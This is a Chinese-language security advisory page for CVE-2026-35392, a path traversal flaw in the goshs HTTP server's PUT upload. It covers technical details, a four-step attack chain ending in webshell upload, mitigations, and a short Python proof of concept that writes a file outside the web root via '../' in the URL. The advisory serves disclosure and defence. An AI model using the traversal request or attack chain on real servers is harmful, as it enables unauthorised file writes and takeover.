IPBUF安全漏洞报告
English
CVE-2026-35392 CVSS 9.8 严重

CVE-2026-35392 goshs路径遍历漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35392
漏洞类型
任意文件写入/路径遍历
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
goshs

相关标签

路径遍历任意文件写入goshs远程代码执行CVSSv3.1

漏洞概述

Goshs 是一个基于 Go 语言开发的简易 HTTP 服务器。在 2.0.0-beta.3 之前的版本中,其 `httpserver/updown.go` 组件的 PUT 上传功能存在严重的安全缺陷,未对上传路径进行必要的清理。攻击者可利用此漏洞,通过特制的 HTTP PUT 请求绕过目录限制,将恶意文件上传至服务器的任意路径。该漏洞可能导致远程代码执行、敏感信息泄露或系统被完全控制,建议用户尽快升级至受影响的修复版本。

技术细节

该漏洞源于 `httpserver/updown.go` 文件在处理 HTTP PUT 请求时,缺乏对用户输入路径的校验和清理机制(Path Sanitization)。攻击者无需经过身份认证,即可向服务器发送包含目录遍历字符(如 `../`)的 PUT 请求。由于程序未对文件名进行规范化处理,攻击者可以将文件写入 Web 根目录之外的任意系统位置。结合高权限运行环境或特定的系统配置,攻击者可上传 Webshell 获取系统权限,或覆盖关键系统配置文件,导致拒绝服务或权限提升。CVSS 3.0 评分为 9.8,表明该漏洞利用难度低且危害极大。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,发现运行 Goshs < 2.0.0-beta.3 版本的目标服务器,并确认其开放了 HTTP 服务端口。
STEP 2
2. 漏洞利用
攻击者构造包含路径遍历序列(如 '../')的 HTTP PUT 请求,指向服务器文件系统的敏感路径(如 Web 根目录或启动目录)。
STEP 3
3. 文件写入
由于缺乏路径清理,服务器接收请求并将恶意文件(如 Webshell 或脚本)写入到指定位置。
STEP 4
4. 执行与控制
攻击者访问上传的恶意文件或等待系统执行覆盖的配置,从而获取服务器权限或造成破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = 'http://127.0.0.1:8000' # Vulnerability: Path traversal in PUT upload allows arbitrary file write # Exploit: Upload a file to a parent directory or system path attack_url = f"{target_host}/../../tmp/pwned.txt" malicious_content = "CVE-2026-35392 Exploited" try: response = requests.put(attack_url, data=malicious_content) if response.status_code == 200 or response.status_code == 201: print("[+] Success: File likely written via path traversal.") else: print(f"[-] Failed: Status code {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

goshs < 2.0.0-beta.3

防御指南

临时缓解措施
如果无法立即升级,建议通过配置网络防火墙或反向代理(如 Nginx)拦截所有 HTTP PUT 请求。同时,确保以低权限用户身份运行 Goshs 服务,并严格隔离上传目录,防止文件被写入系统关键路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表